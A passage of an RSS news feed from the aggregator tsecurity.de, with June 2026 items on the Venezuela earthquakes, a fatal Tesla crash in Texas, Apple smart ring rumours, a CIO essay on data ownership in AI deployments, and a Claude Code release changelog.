<li>Changed opening the agents view from a foreground session to require a single <code>←</code> press instead of two, matching the behavior in background sessions</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[„House of the Dragon“ Staffel 3 ist da: Wann kommt Folge 3 auf HBO Max und WOW?]]></title>
<description><![CDATA[Jetzt wird der „Dance of the Dragons“ endgültig zum offenen Krieg: Die dritte Staffel von „House of the Dragon“ ist gestartet und bringt die bislang größten Schlachten der gesamten Serie auf die Bildschirme. HBO hat nicht nur die erste Folge veröffentlicht, sondern mit Trailern und offiziellen Bi...]]></description>
<link>https://tsecurity.de/de/3632242/it-nachrichten/house-of-the-dragon-staffel-3-ist-da-wann-kommt-folge-3-auf-hbo-max-und-wow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632242/it-nachrichten/house-of-the-dragon-staffel-3-ist-da-wann-kommt-folge-3-auf-hbo-max-und-wow/</guid>
<pubDate>Mon, 29 Jun 2026 09:48:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Jetzt wird der „Dance of the Dragons“ endgültig zum offenen Krieg: Die dritte Staffel von „House of the Dragon“ ist gestartet und bringt die bislang größten Schlachten der gesamten Serie auf die Bildschirme. HBO hat nicht nur die erste Folge veröffentlicht, sondern mit Trailern und offiziellen Bildern bereits angedeutet, wie brutal der Konflikt zwischen Team Schwarz und Team Grün eskalieren wird.]]></content:encoded>
</item>
<item>
<title><![CDATA[Family Sues Tesla Over Fatal Texas Crash]]></title>
<description><![CDATA[Family of 76-year-old grandmother killed in crash sues Tesla over alleged negligence for selling ‘defective’ driver-assistance tech This article has been indexed from Silicon UK Read the original article: Family Sues Tesla Over Fatal Texas Crash
Read more →
The post Family Sues Tesla Over Fatal T...]]></description>
<link>https://tsecurity.de/de/3632118/it-security-nachrichten/family-sues-tesla-over-fatal-texas-crash/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632118/it-security-nachrichten/family-sues-tesla-over-fatal-texas-crash/</guid>
<pubDate>Mon, 29 Jun 2026 08:39:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Family of 76-year-old grandmother killed in crash sues Tesla over alleged negligence for selling ‘defective’ driver-assistance tech This article has been indexed from Silicon UK Read the original article: Family Sues Tesla Over Fatal Texas Crash</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/family-sues-tesla-over-fatal-texas-crash/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/family-sues-tesla-over-fatal-texas-crash/">Family Sues Tesla Over Fatal Texas Crash</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Smart Ring Rumors Are Back Thanks To Oura Ring Success]]></title>
<description><![CDATA[A popular rumor about a brand new gadget from Apple is back in the spotlight. For years, tech fans heard whispers about a smart ring, but the chatter faded away when reports claimed the company dropped the idea. Now, a known tipster says the device is actually in development, sparking fresh excit...]]></description>
<link>https://tsecurity.de/de/3628519/ios-mac-os/apple-smart-ring-rumors-are-back-thanks-to-oura-ring-success/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628519/ios-mac-os/apple-smart-ring-rumors-are-back-thanks-to-oura-ring-success/</guid>
<pubDate>Fri, 26 Jun 2026 22:24:23 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A popular rumor about a brand new gadget from Apple is back in the spotlight. For years, tech fans heard whispers about a smart ring, but the chatter faded away when reports claimed the company dropped the idea. Now, a known tipster says the device is actually in development, sparking fresh excitement for anyone who wants a tiny wearable to pair with their iPhone without a bright screen distracting them.



The brand wants a piece of the growing smart ring market



A leaker named Kosutami recently posted on X that an iRing project is currently in the works. While the tipster did not share specific details about features or a launch date, the leak noted the gadget is meant to compete directly with popular options like the Oura Ring and the Galaxy Ring from Samsung.



The Oura Ring recently launched its fifth version, proving that plenty of people want to track their health without wearing a bulky device. These rings sit quietly on your finger and collect data like your heart rate, sleep patterns, and nighttime breathing. This growing demand seems to have caught the attention of the tech giant.



In the past, experts believed the company killed its ring project because it did not want to hurt sales of the Apple Watch. Many buyers might choose a cheaper and simpler ring instead of upgrading a smartwatch every few years. However, other brands have proven that people are willing to own both types of wearables. You can wear a smartwatch during the day for notifications and switch to a comfortable ring at night to monitor your sleep.



Even though this leak gives fans hope, it is important to remember that companies test out ideas all the time. Just because a smart ring is in development does not guarantee it will hit store shelves anytime soon. Still, if the current market trends continue, a screenless health tracker from the brand makes a lot of sense for everyday buyers.]]></content:encoded>
</item>
<item>
<title><![CDATA[Stalin, Hitler or Musk: Who Killed More?]]></title>
<description><![CDATA[Some historians were sitting around a table asking “who killed more people, Stalin or Elon Musk”. This has been a topic ever since “DOGE” announced their campaign to destroy USAID as Musk’s revenge for ending his future spot in apartheid. The consensus was that Musk killed more and, to be sure, h...]]></description>
<link>https://tsecurity.de/de/3628275/it-security-nachrichten/stalin-hitler-or-musk-who-killed-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628275/it-security-nachrichten/stalin-hitler-or-musk-who-killed-more/</guid>
<pubDate>Fri, 26 Jun 2026 20:09:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Some historians were sitting around a table asking “who killed more people, Stalin or Elon Musk”. This has been a topic ever since “DOGE” announced their campaign to destroy USAID as Musk’s revenge for ending his future spot in apartheid. The consensus was that Musk killed more and, to be sure, here’s the proof: Rank … <a href="https://www.flyingpenguin.com/stalin-hitler-or-musk-who-killed-more/" class="more-link">Continue reading <span class="screen-reader-text">Stalin, Hitler or Musk: Who Killed More?</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple will provide aid to victims of devastating back-to-back earthquakes in Venezuela]]></title>
<description><![CDATA[Apple CEO Tim Cook has said the company will donate to relief efforts after a pair of earthquakes ravaged northern Venezuela.Image credit: AP Photo/Javier CamposOn Wednesday evening, a pair of earthquakes, known as a doublet, struck Venezuela's northern coast. The first was a 7.2 magnitude quake,...]]></description>
<link>https://tsecurity.de/de/3627987/ios-mac-os/apple-will-provide-aid-to-victims-of-devastating-back-to-back-earthquakes-in-venezuela/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627987/ios-mac-os/apple-will-provide-aid-to-victims-of-devastating-back-to-back-earthquakes-in-venezuela/</guid>
<pubDate>Fri, 26 Jun 2026 18:10:06 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple CEO <a href="https://appleinsider.com/inside/tim-cook" title="Tim Cook" data-kpt="1">Tim Cook</a> has said the company will donate to relief efforts after a pair of earthquakes ravaged northern Venezuela.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68081-143512-ap-apartment-earthquake-xl.jpg" alt="A resident stands in a damaged building a day after an earthquake struck La Guaira, Venezuela, Thursday, June 25, 2026." height="738"><br><span>Image credit: AP Photo/Javier Campos</span></div><br>On Wednesday evening, a pair of earthquakes, known as a doublet, struck Venezuela's northern coast. The first was a 7.2 magnitude quake, followed by a magnitude 7.5 quake less than one minute later, <a href="https://apnews.com/article/venezuela-earthquakes-doublet-f61cc9b92ba4e0735cfed6391c21e4fd">according to</a> the <em>Associated Press</em>.<br><br>The earthquakes have left thousands of people injured and have killed at least 589 people at the time of publication. As expected, Cook took to X to announce that the company would be donating to relief efforts on the ground.<br><br><br> <a href="https://appleinsider.com/articles/26/06/26/apple-will-provide-aid-to-victims-of-devastating-back-to-back-earthquakes-in-venezuela?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244791?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple pledges relief funds after back-to-back Venezuela earthquakes]]></title>
<description><![CDATA[Apple CEO Tim Cook said Friday Apple pledges funds for Venezuela earthquake relief, after devastating temblors there killed hundreds. 
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
<link>https://tsecurity.de/de/3627982/ios-mac-os/apple-pledges-relief-funds-after-back-to-back-venezuela-earthquakes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627982/ios-mac-os/apple-pledges-relief-funds-after-back-to-back-venezuela-earthquakes/</guid>
<pubDate>Fri, 26 Jun 2026 18:09:59 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="439" src="https://www.cultofmac.com/wp-content/uploads/2026/06/Mexico-earthquake-relief-1440x810.jpg.webp" class="attachment-large size-large wp-post-image" alt="Apple pledges funds for Venezuela earthquake relief" decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/06/Mexico-earthquake-relief-1440x810.jpg.webp 1440w, https://www.cultofmac.com/wp-content/uploads/2026/06/Mexico-earthquake-relief-400x225.jpg 400w, https://www.cultofmac.com/wp-content/uploads/2026/06/Mexico-earthquake-relief-768x432@2x.jpg.webp 1536w, https://www.cultofmac.com/wp-content/uploads/2026/06/Mexico-earthquake-relief-350x197.jpg 350w, https://www.cultofmac.com/wp-content/uploads/2026/06/Mexico-earthquake-relief-768x432.jpg.webp 768w, https://www.cultofmac.com/wp-content/uploads/2026/06/Mexico-earthquake-relief-1020x574.jpg.webp 1020w, https://www.cultofmac.com/wp-content/uploads/2026/06/Mexico-earthquake-relief.jpg.webp 1600w, https://www.cultofmac.com/wp-content/uploads/2026/06/Mexico-earthquake-relief-400x225@2x.jpg 800w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>Apple CEO Tim Cook said Friday Apple pledges funds for Venezuela earthquake relief, after devastating temblors there killed hundreds. </p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Early Edition: June 26, 2026]]></title>
<description><![CDATA[Signup to receive the Early Edition in your inbox here. A curated guide to major news and developments over the weekend. Here’s today’s news: VENEZUELA QUAKE – CASUALTIES At least 235 people were killed and 4,300 injured after two powerful earthquakes struck Venezuela Wednesday evening, officials...]]></description>
<link>https://tsecurity.de/de/3627303/it-security-nachrichten/early-edition-june-26-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627303/it-security-nachrichten/early-edition-june-26-2026/</guid>
<pubDate>Fri, 26 Jun 2026 14:08:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Signup to receive the Early Edition in your inbox here. A curated guide to major news and developments over the weekend. Here’s today’s news: VENEZUELA QUAKE – CASUALTIES At least 235 people were killed and 4,300 injured after two powerful earthquakes struck Venezuela Wednesday evening, officials said Thursday. The death toll is expected to rise as […]</p>
<p>The post <a href="https://www.justsecurity.org/144422/early-edition-june-26-2026/">Early Edition: June 26, 2026</a> appeared first on <a href="https://www.justsecurity.org/">Just Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Early Edition: June 25, 2026]]></title>
<description><![CDATA[VENEZUELA EARTHQUAKES Two back-to-back earthquakes in Venezuela have killed at least 164 people and injured 700, interim President Delcy Rodríguez said, as rescuers searched collapsed buildings in Caracas and worst-hit La Guaira state. Vivian Sequera and Mayela Armas report for Reuters. The U.S. ...]]></description>
<link>https://tsecurity.de/de/3624432/it-security-nachrichten/early-edition-june-25-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624432/it-security-nachrichten/early-edition-june-25-2026/</guid>
<pubDate>Thu, 25 Jun 2026 14:07:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>VENEZUELA EARTHQUAKES Two back-to-back earthquakes in Venezuela have killed at least 164 people and injured 700, interim President Delcy Rodríguez said, as rescuers searched collapsed buildings in Caracas and worst-hit La Guaira state. Vivian Sequera and Mayela Armas report for Reuters. The U.S. Geological Survey said its predictive model pointed to deaths likely in the […]</p>
<p>The post <a href="https://www.justsecurity.org/144241/early-edition-june-25-2026/">Early Edition: June 25, 2026</a> appeared first on <a href="https://www.justsecurity.org/">Just Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[US opens second federal investigation of deadly Tesla crash into Texas home]]></title>
<description><![CDATA[Driver told authorities he had driver-assistance technology engaged before crash that killed 76-year-old Martha AvilaThe US government has opened a second federal investigation into a recent crash of a Tesla that reportedly had driver-assistance technology engaged, struck a Texas home and killed ...]]></description>
<link>https://tsecurity.de/de/3623667/it-nachrichten/us-opens-second-federal-investigation-of-deadly-tesla-crash-into-texas-home/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623667/it-nachrichten/us-opens-second-federal-investigation-of-deadly-tesla-crash-into-texas-home/</guid>
<pubDate>Thu, 25 Jun 2026 09:17:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Driver told authorities he had driver-assistance technology engaged before crash that killed 76-year-old Martha Avila</p><p>The US government has opened a second federal investigation into a <a href="https://www.theguardian.com/technology/2026/jun/23/tesla-crash-texas-investigation">recent crash of a Tesla</a> that reportedly had driver-assistance technology engaged, struck a Texas home and killed a resident.</p><p>Meanwhile, the family of Martha Avila, the 76-year-old resident who was killed, has sued over <a href="https://www.theguardian.com/us-news/2026/jun/22/tesla-drivers-crash-swimming-pool-home">the wreck</a>.</p> <a href="https://www.theguardian.com/technology/2026/jun/24/texas-tesla-car-crash-investigation">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Charlie Kirk’s legacy is a 30-year sentence for moving zines]]></title>
<description><![CDATA[Just days after a gunman killed conservative activist Charlie Kirk, it became clear that President Donald Trump would use the assassination to fuel a crackdown on free speech. To avenge Kirk's death, the administration vowed to go after so-called "antifa" (otherwise known as antifascist) terroris...]]></description>
<link>https://tsecurity.de/de/3622908/it-nachrichten/charlie-kirks-legacy-is-a-30-year-sentence-for-moving-zines/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622908/it-nachrichten/charlie-kirks-legacy-is-a-30-year-sentence-for-moving-zines/</guid>
<pubDate>Wed, 24 Jun 2026 23:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Just days after a gunman killed conservative activist Charlie Kirk, it became clear that President Donald Trump would use the assassination to fuel a crackdown on free speech. To avenge Kirk's death, the administration vowed to go after so-called "antifa" (otherwise known as antifascist) terrorists. Now that promise is bearing fruit. This week, eight Texas […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Seeking Justice the Day After SCOTUS Killed the Alien Tort Statute]]></title>
<description><![CDATA[As surely as day follows night, survivors will continue their quest for justice and accountability. The Supreme Court’s decision marks the end of an era, but a new dawn awaits.
The post Seeking Justice the Day After SCOTUS Killed the Alien Tort Statute appeared first on Just Security.]]></description>
<link>https://tsecurity.de/de/3622602/it-security-nachrichten/seeking-justice-the-day-after-scotus-killed-the-alien-tort-statute/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622602/it-security-nachrichten/seeking-justice-the-day-after-scotus-killed-the-alien-tort-statute/</guid>
<pubDate>Wed, 24 Jun 2026 21:08:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>As surely as day follows night, survivors will continue their quest for justice and accountability. The Supreme Court’s decision marks the end of an era, but a new dawn awaits.</p>
<p>The post <a href="https://www.justsecurity.org/144005/justice-after-alien-tort-statute/">Seeking Justice the Day After SCOTUS Killed the Alien Tort Statute</a> appeared first on <a href="https://www.justsecurity.org/">Just Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.187]]></title>
<description><![CDATA[What's changed

Added sandbox.credentials setting to block sandboxed commands from reading credential files and secret environment variables
Added org-configured model restrictions to the model picker, --model, /model, and ANTHROPIC_MODEL, with a "restricted by your organization's settings" messa...]]></description>
<link>https://tsecurity.de/de/3619601/downloads/v21187/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619601/downloads/v21187/</guid>
<pubDate>Tue, 23 Jun 2026 23:16:43 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>sandbox.credentials</code> setting to block sandboxed commands from reading credential files and secret environment variables</li>
<li>Added org-configured model restrictions to the model picker, <code>--model</code>, <code>/model</code>, and <code>ANTHROPIC_MODEL</code>, with a "restricted by your organization's settings" message when a restricted model is selected</li>
<li>Added mouse click support to select menus (permission prompts, <code>/model</code>, <code>/config</code>, etc.) in fullscreen mode</li>
<li>Fixed <code>--resume</code> failing with "No conversation found" when the original <code>-p</code> run produced no model turns</li>
<li>Fixed <code>--json-schema</code> and workflow <code>agent({schema})</code> structured output: the model can no longer re-call <code>StructuredOutput</code> indefinitely after a successful call, and follow-up turns now reliably return structured output</li>
<li>Fixed remote MCP tool calls that hang with no response for 5 minutes — they now abort with an error instead of blocking indefinitely (override with <code>CLAUDE_CODE_MCP_TOOL_IDLE_TIMEOUT</code>)</li>
<li>Fixed Claude Code Remote sessions taking ~2.7s longer to start after the agent proxy CA system-trust install was added</li>
<li>Fixed pasted Korean/CJK text turning into mojibake in terminals that deliver paste as per-byte extended-key events</li>
<li>Fixed <code>/update</code> over Remote Control hanging when a startup trust dialog would have shown</li>
<li>Fixed background jobs in the agents view getting stuck in "working" indefinitely when the agent ended a turn without producing structured output</li>
<li>Fixed channel connections dropping after navigating to the agents view and back, and after <code>/bg</code>, <code>/tui</code>, or <code>/update</code></li>
<li>Fixed agent stop notifications not correctly attributing who stopped the agent, and improved wording ("finished"/"stopped" instead of "came to rest")</li>
<li>Fixed subagent depth tracking: resumed subagents now restore their original spawn depth, and forked subagents now count toward the depth cap</li>
<li>Fixed leaked agent worktree registrations: locked <code>.git/worktrees/</code> entries from killed agents are now cleaned up automatically</li>
<li>Fixed Cmd+click not opening URLs in fullscreen mode in Ghostty on macOS</li>
<li>Fixed <code>claude --help</code> not listing the <code>--bg</code>/<code>--background</code> flag</li>
<li>Fixed Esc, Ctrl-C, and Ctrl-D not working while <code>/share</code> is uploading</li>
<li>Improved <code>/install-github-app</code>: GitHub Actions workflow setup is now optional — you can install just the GitHub App and skip the workflow/secret steps</li>
<li>Improved <code>/btw</code> with ←/→ arrow navigation to step through earlier answers</li>
<li>Improved <code>/plugin</code> to surface plugins you haven't used recently so you can clean them up</li>
<li>[VSCode] Fixed extension becoming unresponsive when resuming a large session</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Killed the 5-Year Roadmap]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 1x - Views:20 Traditional identity and security programs were built around long planning cycles. In this clip, the speaker argues that agentic AI has broken that model because organizations can no longer reliably predict how systems and AI-dri...]]></description>
<link>https://tsecurity.de/de/3619416/it-security-video/ai-killed-the-5-year-roadmap/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619416/it-security-video/ai-killed-the-5-year-roadmap/</guid>
<pubDate>Tue, 23 Jun 2026 21:19:00 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 1x - Views:20 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/rRgD10VkZxQ?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Traditional identity and security programs were built around long planning cycles. In this clip, the speaker argues that agentic AI has broken that model because organizations can no longer reliably predict how systems and AI-driven workflows will evolve.<br />
<br />
Instead of static roadmaps, companies may need continuous identity assessments, adaptive governance, and shorter planning horizons. The challenge is especially difficult for executives trying to balance innovation with operational control and accountability.<br />
<br />
The comparison to COVID highlights the speed and unpredictability of change — not just technically, but organizationally.<br />
<br />
As AI agents begin making decisions and taking actions autonomously, security programs may need to operate more like ongoing risk management than fixed transformation projects.<br />
<br />
Can enterprises still build long-term security strategies when AI systems evolve every few months?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#IdentitySecurity #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tesla Crash That Killed a Texas Woman Will be Investigated by Federal Regulators]]></title>
<description><![CDATA[The car’s driver-assistance system was in use when the crash killed a woman on Friday, the police said.]]></description>
<link>https://tsecurity.de/de/3616853/it-nachrichten/tesla-crash-that-killed-a-texas-woman-will-be-investigated-by-federal-regulators/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616853/it-nachrichten/tesla-crash-that-killed-a-texas-woman-will-be-investigated-by-federal-regulators/</guid>
<pubDate>Tue, 23 Jun 2026 01:02:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The car’s driver-assistance system was in use when the crash killed a woman on Friday, the police said.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft is building a 2-gigawatt data center in Texas with its own gas plant to dodge the grid]]></title>
<description><![CDATA[Microsoft is building a roughly 2-gigawatt data center campus in Pecos, Texas, one of the biggest single capacity adds in its history. In an open letter, the company promises stable power prices and minimal water use, directly addressing the local backlash that has killed dozens of data center pr...]]></description>
<link>https://tsecurity.de/de/3616191/ai-nachrichten/microsoft-is-building-a-2-gigawatt-data-center-in-texas-with-its-own-gas-plant-to-dodge-the-grid/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616191/ai-nachrichten/microsoft-is-building-a-2-gigawatt-data-center-in-texas-with-its-own-gas-plant-to-dodge-the-grid/</guid>
<pubDate>Mon, 22 Jun 2026 19:04:23 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/06/microsoft_datacenter.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Microsoft is building a roughly 2-gigawatt data center campus in Pecos, Texas, one of the biggest single capacity adds in its history. In an open letter, the company promises stable power prices and minimal water use, directly addressing the local backlash that has killed dozens of data center projects across the US.</p>
<p>The article <a href="https://the-decoder.com/microsoft-is-building-a-2-gigawatt-data-center-in-texas-with-its-own-gas-plant-to-dodge-the-grid/">Microsoft is building a 2-gigawatt data center in Texas with its own gas plant to dodge the grid</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why your AI pilot died in a data ownership meeting, not the demo]]></title>
<description><![CDATA[I have sat in enough post-pilot reviews to know how this story ends before anyone says a word. The pilot worked. The demo went well. The executive team was genuinely impressed, and someone in that room used the word “scale.” There was real energy. Leadership was aligned, the business case was sol...]]></description>
<link>https://tsecurity.de/de/3615095/it-security-nachrichten/why-your-ai-pilot-died-in-a-data-ownership-meeting-not-the-demo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3615095/it-security-nachrichten/why-your-ai-pilot-died-in-a-data-ownership-meeting-not-the-demo/</guid>
<pubDate>Mon, 22 Jun 2026 12:08:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>I have sat in enough post-pilot reviews to know how this story ends before anyone says a word. The pilot worked. The demo went well. The executive team was genuinely impressed, and someone in that room used the word “scale.” There was real energy. Leadership was aligned, the business case was solid and the timeline looked achievable. Then three months passed. Then six. The deployment is still pending, the original team has scattered and the business has quietly concluded that IT is great at demos and slow at everything that follows.</p>



<p>I am not describing a technology failure. I am describing what happens when an AI initiative arrives at an organizational problem that predates it by years and finds no one with the authority to resolve it.</p>



<p>What killed the deployment was the meeting nobody planned for. It happened sometime after the pilot ended and before anyone had agreed on who owned the data the model needed to operate in production. I have watched this sequence play out often enough to stop treating it as a project management gap. It is a structural one, and it was waiting long before the first model was ever trained.</p>



<h2 class="wp-block-heading">The data question nobody ever had to answer</h2>



<p>Most enterprises have been managing data ownership ambiguity for decades. It was survivable because the technologies they relied on could work around it. A BI team could pull a clean extract for the quarterly report. A data warehouse could house a copy of the customer record without anyone deciding who was responsible for keeping it current. Shadow IT could build departmental workarounds that served specific needs without ever touching the underlying question of where authoritative ownership sat. Data was treated as a byproduct of operations, managed by whoever built the system that produced it, with no named owner accountable for its accuracy or use.</p>



<p>The cost of that arrangement was low enough, for long enough, that it never forced a decision. In many organizations I have worked with, asking who owns a specific dataset produces three different answers depending on who you ask. That was tolerable when the stakes were a dashboard that was sometimes wrong. It stops being tolerable when a production AI model is making workflow decisions or customer-facing recommendations based on whatever that dataset happens to contain on a given day.</p>



<p>Putting a model into production that operates on live customer data, contract language or financial records requires someone to make binding calls about access rights, update protocols, data lineage and accountability when the underlying data is wrong. Those are not technical decisions. They are organizational ones. They require a business owner who will stand behind the data, with the authority to make and enforce decisions about how it is used, updated and governed. The <a href="https://www.cio.com/article/4162306/data-debt-will-cripple-your-ai-strategy-if-left-unaddressed.html">data debt</a> that accumulated across years of deferred ownership decisions does not disappear when a pilot succeeds. It surfaces when you try to scale.</p>



<p>Organizations that had resolved this before their first AI deployment did not have better technology. They had usually been forced into the conversation by something else entirely: a regulatory exam, a failed ERP migration, a data breach that made the question of accountability suddenly expensive. The organizations that had not resolved it discovered what the ambiguity costs when AI made it impossible to defer any longer.</p>



<h2 class="wp-block-heading">What the meeting looks like and what it costs</h2>



<p>Here is how the meeting tends to go. The CIO or a project lead convenes the stakeholders whose data the production deployment will require. Sales says they own the customer relationship data, but Legal says the underlying record is a shared asset subject to retention policy. The data engineering team says they manage the pipeline but do not make ownership decisions about what flows through it. The CDO, if one exists, says any governance change requires a committee review and a documented policy update. Nobody is technically wrong. That is exactly what makes it so difficult to move.</p>



<p>What follows is usually a working group, a governance charter and an executive sponsor who was not in the room when the pilot was approved. These are not bad things, but they take time and they consume organizational energy that nobody budgeted for when the pilot looked like a clean success. The AI project is now waiting on an organizational redesign question that predates it by a decade.</p>



<p>I have seen this stall run six months. I have seen it run considerably longer. During that time, the CIO absorbs questions from the business about why the technology that worked so well in the demo is not yet live. The honest answer is that the organization is working through a governance question that the business itself has never resolved, but that answer does not land well in a status update. What the business experiences is an IT initiative that worked in a controlled environment and then stopped. That perception accumulates. The CIO who delivered an impressive pilot is now the CIO who cannot seem to execute.</p>



<p>By the time the data question is settled, the original business champion has often moved on to other priorities. The vendor relationship has cooled. The momentum that existed in the room after the demo is gone, and rebuilding it requires re-educating stakeholders who have already withdrawn. Each deployment that stalls this way makes the next proposal harder to fund and harder to staff with the business partners who matter.</p>



<p>The cost is not only the delayed deployment. It is the credibility spent in the gap and the reduced appetite for the initiative that comes after it.</p>



<h2 class="wp-block-heading">What the CIOs who got through it actually did</h2>



<p>The CIOs I have seen navigate this well made one consistent choice: they resolved data ownership before seeking approval to expand scope, treating it as a prerequisite the deployment required rather than something the deployment would eventually sort out. They forced the data conversation into the open at the level where binding decisions could actually be made. They brought it forward as a business decision, routed to whoever held authority over the relevant business processes and did not move forward until they had genuine alignment, the kind that would hold when the first access request actually landed.</p>



<p>Some of them used the pilot phase deliberately to surface the ambiguity. They ran the pilot on a constrained, clearly-owned dataset and watched where the ownership questions appeared as they tried to expand access. They documented those specifically. By the time they were presenting pilot results to the executive team, they had a clear account of the organizational work the deployment would require alongside the technical work. They did not present this as a problem. They presented it as part of the plan, which is what it is.</p>



<p>That approach requires more work before the first executive briefing. It is significantly faster in aggregate, and it changes what the CIO is accountable for. Framing the data conversation as a business decision, at the beginning, means the CIO is no longer absorbing blame for a governance failure that belongs to the organization. The deployment either moves forward with ownership settled or it does not move forward at all, and everyone in the room understands why. The organizations that skip this conversation tend to find out what it costs about four months after the demo. Some of them find out several times before they change the sequence.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[„House of the Dragon“ Staffel 3 ist da: Wann kommt Folge 2 auf HBO Max und WOW?]]></title>
<description><![CDATA[Jetzt wird der „Dance of the Dragons“ endgültig zum offenen Krieg: Die dritte Staffel von „House of the Dragon“ ist gestartet und bringt die bislang größten Schlachten der gesamten Serie auf die Bildschirme. HBO hat nicht nur die erste Folge veröffentlicht, sondern mit Trailern und offiziellen Bi...]]></description>
<link>https://tsecurity.de/de/3614674/it-nachrichten/house-of-the-dragon-staffel-3-ist-da-wann-kommt-folge-2-auf-hbo-max-und-wow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3614674/it-nachrichten/house-of-the-dragon-staffel-3-ist-da-wann-kommt-folge-2-auf-hbo-max-und-wow/</guid>
<pubDate>Mon, 22 Jun 2026 08:47:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
